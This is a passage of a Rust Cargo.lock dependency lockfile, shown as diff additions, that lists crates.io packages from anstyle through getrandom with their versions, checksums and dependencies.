"registry+https://github.com/rust-lang/crates.io-index" +checksum = "e765fd216e48e067936442276d1d57399e37bce53c264d6fefbe298080cb57ee" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b" +dependencies = [ + "windows-sys 0.48.0", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0699d10d2f4d628a98ee7b57b289abbc98ff3bad977cb3152709d4bf2330628" +dependencies = [ + "anstyle", + "windows-sys 0.48.0", +] + +[[package]] +name = "anyhow" +version = "1.0.71" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c7d0618f0e0b7e8ff11427422b64564d5fb0be1940354bfe2e0529b18a9d9b8" + +[[package]] +name = "arc-swap" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bddcadddf5e9015d310179a59bb28c4d4b9920ad0f11e8e14dbadf654890c9a6" + +[[package]] +name = "argon2" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17ba4cac0a46bc1d2912652a751c47f2a9f3a7fe89bcae2275d418f5270402f9" +dependencies = [ + "base64ct", + "blake2", + "cpufeatures", + "password-hash", +] + +[[package]] +name = "ascii" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eab1c04a571841102f5345a8fc0f6bb3d31c315dec879b5c6e42e40ce7ffa34e" + +[[package]] +name = "assert-json-diff" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47e4f2b81832e72834d7518d8487a0396a28cc408186a2e8854c0f98011faf12" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] +name = "assert_matches" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b34d609dfbaf33d6889b2b7106d3ca345eacad44200913df5ba02bfd31d2ba9" + +[[package]] +name = "async-stream" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd56dd203fef61ac097dd65721a419ddccb106b2d2b70ba60a6b529f03961a51" +dependencies = [ + "async-stream-impl", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-stream-impl" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16e62a023e7c117e27523144c5d2459f4397fcc3cab0085af8e2224f643a0193" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "async-trait" +version = "0.1.74" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a66537f1bb974b254c98ed142ff995236e81b9d0fe4db0575f46612cb15eb0f9" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "axum" +version = "0.6.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b829e4e32b91e643de6eafe82b1d90675f5874230191a4ffbc1b336dec4d6bf" +dependencies = [ + "async-trait", + "axum-core", + "base64 0.21.5", + "bitflags 1.3.2", + "bytes", + "futures-util", + "headers", + "http", + "http-body", + "hyper", + "itoa", + "matchit", + "memchr", + "mime", + "percent-encoding", + "pin-project-lite", + "rustversion", + "serde", + "serde_json", + "serde_path_to_error", + "serde_urlencoded", + "sha1", + "sync_wrapper", + "tokio", + "tokio-tungstenite", + "tower", + "tower-layer", + "tower-service", +] + +[[package]] +name = "axum-core" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "759fa577a247914fd3f7f76d62972792636412fbfd634cd452f6a385a74d2d2c" +dependencies = [ + "async-trait", + "bytes", + "futures-util", + "http", + "http-body", + "mime", + "rustversion", + "tower-layer", + "tower-service", +] + +[[package]] +name = "axum-prometheus" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97def327c5481791abb57ac295bfc70f2e1a0727675b7dbf74bd1b27a72b6fd8" +dependencies = [ + "axum", + "axum-core", + "bytes", + "futures", + "futures-core", + "http", + "http-body", + "matchit", + "metrics", + "metrics-exporter-prometheus", + "once_cell", + "pin-project", + "tokio", + "tower", + "tower-http 0.4.0", +] + +[[package]] +name = "axum-tracing-opentelemetry" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "164b95427e83b79583c7699a72b4a6b485a12bbdef5b5c054ee5ff2296d82f52" +dependencies = [ + "axum", + "futures", + "http", + "opentelemetry", + "tower", + "tower-http 0.3.5", + "tracing", + "tracing-opentelemetry", +] + +[[package]] +name = "backtrace" +version = "0.3.67" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "233d376d6d185f2a3093e58f283f60f880315b6c60075b01f36b3b85154564ca" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide 0.6.2", + "object", + "rustc-demangle", +] + +[[package]] +name = "base64" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" + +[[package]] +name = "base64" +version = "0.21.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35636a1494ede3b646cc98f74f8e62c773a38a659ebc777a2cf26b9b74171df9" + +[[package]] +name = "base64ct" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8c3c1a368f70d6cf7302d78f8f7093da241fb8e8807c05cc9e51a125895a6d5b" + +[[package]] +name = "bincode" +version = "1.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad" +dependencies = [ + "serde", +] + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4682ae6287fcf752ecaabbfcc7b6f9b72aa33933dc23a554d853aea8eea8635" + +[[package]] +name = "bitpacking" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8c7d2ac73c167c06af4a5f37e6e59d84148d57ccbe4480b76f0273eefea82d7" +dependencies = [ + "crunchy", +] + +[[package]] +name = "blake2" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46502ad458c9a52b69d4d4d32775c788b7a1b85e8bc9d482d92250fc0e3f8efe" +dependencies = [ + "digest", +] + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "bson" +version = "1.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de0aa578035b938855a710ba58d43cfb4d435f3619f99236fb35922a574d6cb1" +dependencies = [ + "base64 0.13.1", + "chrono", + "hex", + "lazy_static", + "linked-hash-map", + "rand 0.7.3", + "serde", + "serde_json", + "uuid 0.8.2", +] + +[[package]] +name = "bstr" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c79ad7fb2dd38f3dabd76b09c6a5a20c038fc0213ef1e9afd30eb777f120f019" +dependencies = [ + "memchr", + "serde", +] + +[[package]] +name = "bumpalo" +version = "3.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3e2c3daef883ecc1b5d58c15adae93470a91d425f3532ba1695849656af3fc1" + +[[package]] +name = "byteorder" +version = "1.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" + +[[package]] +name = "bytes" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" + +[[package]] +name = "cargo-lock" +version = "9.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e11c675378efb449ed3ce8de78d75d0d80542fc98487c26aba28eb3b82feac72" +dependencies = [ + "petgraph", + "semver", + "serde", + "toml", + "url", +] + +[[package]] +name = "cc" +version = "1.0.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +dependencies = [ + "jobserver", + "libc", +] + +[[package]] +name = "census" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fafee10a5dd1cffcb5cc560e0d0df8803d7355a2b12272e3557dee57314cb6e" + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chrono" +version = "0.4.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "js-sys", + "num-traits", + "serde", + "wasm-bindgen", + "windows-targets 0.48.0", +] + +[[package]] +name = "chumsky" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8eebd66744a15ded14960ab4ccdbfb51ad3b81f51f3f04a80adac98c985396c9" +dependencies = [ + "hashbrown 0.14.3", + "stacker", +] + +[[package]] +name = "clap" +version = "4.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfaff671f6b22ca62406885ece523383b9b64022e341e53e009a62ebc47a45f2" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a216b506622bb1d316cd51328dce24e07bdff4a6128a47c7e7fad11878d5adbb" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim 0.10.0", +] + +[[package]] +name = "clap_derive" +version = "4.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "clap_lex" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" + +[[package]] +name = "cmake" +version = "0.1.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a31c789563b815f77f4250caee12365734369f942439b7defd71e18a48197130" +dependencies = [ + "cc", +] + +[[package]] +name = "codespan-reporting" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3538270d33cc669650c4b093848450d380def10c331d38c768e34cac80576e6e" +dependencies = [ + "termcolor", + "unicode-width", +] + +[[package]] +name = "colorchoice" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" + +[[package]] +name = "combine" +version = "3.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da3da6baa321ec19e1cc41d31bf599f00c783d0517095cdaf0332e3fe8d20680" +dependencies = [ + "ascii", + "byteorder", + "either", + "memchr", + "unreachable", +] + +[[package]] +name = "console" +version = "0.15.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c926e00cc70edefdc64d3a5ff31cc65bb97a3460097762bd23afb4d8145fccf8" +dependencies = [ + "encode_unicode", + "lazy_static", + "libc", + "unicode-width", + "windows-sys 0.45.0", +] + +[[package]] +name = "core-foundation" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa" + +[[package]] +name = "cpufeatures" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce420fe07aecd3e67c5f910618fe65e94158f6dcc0adf44e00d69ce2bdfe0fd0" +dependencies = [ + "libc", +] + +[[package]] +name = "crc32fast" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "cron" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab00a636277f7ea5d8dd92ac7a5099fc9a46e5327bba84d3640b41ae127eada9" +dependencies = [ + "chrono", + "error-chain", + "nom 4.1.1", +] + +[[package]] +name = "cron" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ff76b51e4c068c52bfd2866e1567bee7c567ae8f24ada09fd4307019e25eab7" +dependencies = [ + "chrono", + "nom 7.1.3", + "once_cell", +] + +[[package]] +name = "crossbeam-channel" +version = "0.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200" +dependencies = [ + "cfg-if", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-deque" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef" +dependencies = [ + "cfg-if", + "crossbeam-epoch", + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-epoch" +version = "0.9.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46bd5f3f85273295a9d14aedfb86f6aadbff6d8f5295c4a9edb08e819dcf5695" +dependencies = [ + "autocfg", + "cfg-if", + "crossbeam-utils", + "memoffset", + "scopeguard", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crunchy" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "custom_error" +version = "1.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f8a51dd197fa6ba5b4dc98a990a43cc13693c23eb0089ebb0fcc1f04152bca6" + +[[package]] +name = "cxx" +version = "1.0.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "109308c20e8445959c2792e81871054c6a17e6976489a93d2769641a2ba5839c" +dependencies = [ + "cc", + "cxxbridge-flags", + "cxxbridge-macro", + "link-cplusplus", +] + +[[package]] +name = "cxx-build" +version = "1.0.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daf4c6755cdf10798b97510e0e2b3edb9573032bd9379de8fffa59d68165494f" +dependencies = [ + "cc", + "codespan-reporting", + "once_cell", + "proc-macro2", + "quote", + "scratch", + "syn 2.0.32", +] + +[[package]] +name = "cxxbridge-flags" +version = "1.0.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "882074421238e84fe3b4c65d0081de34e5b323bf64555d3e61991f76eb64a7bb" + +[[package]] +name = "cxxbridge-macro" +version = "1.0.95" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a076022ece33e7686fb76513518e219cca4fce5750a8ae6d1ce6c0f48fd1af9" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "darling" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d706e75d87e35569db781a9b5e2416cff1236a47ed380831f959382ccd5f858" +dependencies = [ + "darling_core 0.10.2", + "darling_macro 0.10.2", +] + +[[package]] +name = "darling" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b750cb3417fd1b327431a470f388520309479ab0bf5e323505daf0290cd3850" +dependencies = [ + "darling_core 0.14.4", + "darling_macro 0.14.4", +] + +[[package]] +name = "darling_core" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0c960ae2da4de88a91b2d920c2a7233b400bc33cb28453a2987822d8392519b" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim 0.9.3", + "syn 1.0.109", +] + +[[package]] +name = "darling_core" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "109c1ca6e6b7f82cc233a97004ea8ed7ca123a9af07a8230878fcfda9b158bf0" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim 0.10.0", + "syn 1.0.109", +] + +[[package]] +name = "darling_macro" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b5a2f4ac4969822c62224815d069952656cadc7084fdca9751e6d959189b72" +dependencies = [ + "darling_core 0.10.2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "darling_macro" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4aab4dbc9f7611d8b55048a3a16d2d010c2c8334e46304b40ac1cc14bf3b48e" +dependencies = [ + "darling_core 0.14.4", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "dashmap" +version = "5.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856" +dependencies = [ + "cfg-if", + "hashbrown 0.14.3", + "lock_api", + "once_cell", + "parking_lot_core", +] + +[[package]] +name = "data-encoding" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2e66c9d817f1720209181c316d28635c050fa304f9c79e47a520882661b7308" + +[[package]] +name = "deranged" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2696e8a945f658fd14dc3b87242e6b80cd0f36ff04ea560fa39082368847946" +dependencies = [ + "serde", +] + +[[package]] +name = "derive_builder" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8d67778784b508018359cbc8696edb3db78160bab2c2a28ba7f56ef6932997f8" +dependencies = [ + "derive_builder_macro", +] + +[[package]] +name = "derive_builder_core" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c11bdc11a0c47bc7d37d582b5285da6849c96681023680b906673c5707af7b0f" +dependencies = [ + "darling 0.14.4", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "derive_builder_macro" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebcda35c7a396850a55ffeac740804b40ffec779b98fffbb1738f4033f0ee79e" +dependencies = [ + "derive_builder_core", + "syn 1.0.109", +] + +[[package]] +name = "derive_utils" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "532b4c15dccee12c7044f1fcad956e98410860b22231e44a3b827464797ca7bf" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", + "subtle", +] + +[[package]] +name = "dirs" +version = "4.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca3aa72a6f96ea37bbc5aa912f6788242832f75369bdfdadcb0e38423f100059" +dependencies = [ + "dirs-sys", +] + +[[package]] +name = "dirs-sys" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b1d1d91c932ef41c0f2663aa8b0ca0342d444d842c06914aa0a7e352d0bada6" +dependencies = [ + "libc", + "redox_users", + "winapi", +] + +[[package]] +name = "dotenvy" +version = "0.15.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1aaf95b3e5c8f23aa320147307562d361db0ae0d51242340f558153b4eb2439b" + +[[package]] +name = "downcast-rs" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ea835d29036a4087793836fa931b08837ad5e957da9e23886b29586fb9b6650" + +[[package]] +name = "either" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fcaabb2fef8c910e7f4c7ce9f67a1283a1715879a7c230ca9d6d1ae31f16d91" + +[[package]] +name = "email-encoding" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbfb21b9878cf7a348dcb8559109aabc0ec40d69924bd706fa5149846c4fef75" +dependencies = [ + "base64 0.21.5", + "memchr", +] + +[[package]] +name = "email_address" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2153bd83ebc09db15bcbdc3e2194d901804952e3dc96967e1cd3b0c5c32d112" + +[[package]] +name = "encode_unicode" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f" + +[[package]] +name = "encoding_rs" +version = "0.8.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "071a31f4ee85403370b58aca746f01041ede6f0da2730960ad001edc2b71b394" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "equivalent" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" + +[[package]] +name = "errno" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4bcfec3a70f97c962c307b2d2c56e358cf1d00b558d74262b5f929ee8cc7e73a" +dependencies = [ + "errno-dragonfly", + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "errno-dragonfly" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "error-chain" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9435d864e017c3c6afeac1654189b06cdb491cf2ff73dbf0d73b0f292f42ff8" +dependencies = [ + "backtrace", +] + +[[package]] +name = "fallible-iterator" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2acce4a10f12dc2fb14a218589d4f1f62ef011b2d0cc4b3cb1bba8e94da14649" + +[[package]] +name = "fallible-streaming-iterator" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7360491ce676a36bf9bb3c56c1aa791658183a54d2744120f27285738d90465a" + +[[package]] +name = "fastdivide" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25c7df09945d65ea8d70b3321547ed414bbc540aad5bac6883d021b970f35b04" + +[[package]] +name = "fastrand" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be" +dependencies = [ + "instant", +] + +[[package]] +name = "fastrand" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" + +[[package]] +name = "file-rotate" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddf221ceec4517f3cb764dae3541b2bd87666fc8832e51322fbb97250b468c71" +dependencies = [ + "chrono", + "flate2", +] + +[[package]] +name = "filenamify" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b781e8974b2cc71ac3c587c881c11ee5fe9a379f43503674e1e1052647593b4c" +dependencies = [ + "regex", +] + +[[package]] +name = "fixedbitset" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ce7134b9999ecaf8bcd65542e436736ef32ddca1b3e06094cb6ec5755203b80" + +[[package]] +name = "flate2" +version = "1.0.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b9429470923de8e8cbd4d2dc513535400b4b3fef0319fb5c4e1f520a7bef743" +dependencies = [ + "crc32fast", + "miniz_oxide 0.7.1", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "fs4" +version = "0.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eeb4ed9e12f43b7fa0baae3f9cdda28352770132ef2e09a23760c29cae8bd47" +dependencies = [ + "rustix 0.38.17", + "windows-sys 0.48.0", +] + +[[package]] +name = "futures" +version = "0.3.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23342abe12aba583913b2e62f22225ff9c950774065e4bfb61a19cd9770fec40" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff4dd66668b557604244583e3e1e1eada8c5c2e96a6d0d6653ede395b78bbacb" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb1d22c66e66d9d72e1758f0bd7d4fd0bee04cad842ee34587d68c07e45d088c" + +[[package]] +name = "futures-enum" +version = "0.1.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3422d14de7903a52e9dbc10ae05a7e14445ec61890100e098754e120b2bd7b1e" +dependencies = [ + "derive_utils", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "futures-executor" +version = "0.3.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccecee823288125bd88b4d7f565c9e58e41858e47ab72e8ea2d64e93624386e0" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8bf34a163b5c4c52d0478a4d757da8fb65cabef42ba90515efee0f6f9fa45aaa" + +[[package]] +name = "futures-macro" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53b153fd91e4b0147f4aced87be237c98248656bb01050b96bf3ee89220a8ddb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "futures-sink" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e36d3378ee38c2a36ad710c5d30c2911d752cb941c00c72dbabfb786a7970817" + +[[package]] +name = "futures-task" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "efd193069b0ddadc69c46389b740bbccdd97203899b48d09c5f7969591d6bae2" + +[[package]] +name = "futures-util" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a19526d624e703a3179b3d322efec918b6246ea0fa51d41124525f00f1cc8104" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generator" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3e123d9ae7c02966b4d892e550bdc32164f05853cd40ab570650ad600596a8a" +dependencies = [ + "cc", + "libc", + "log", + "rustversion", + "windows", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.1.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.9.0+wasi-snapshot-preview1", +] + +[[package]] +name = "getrandom" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 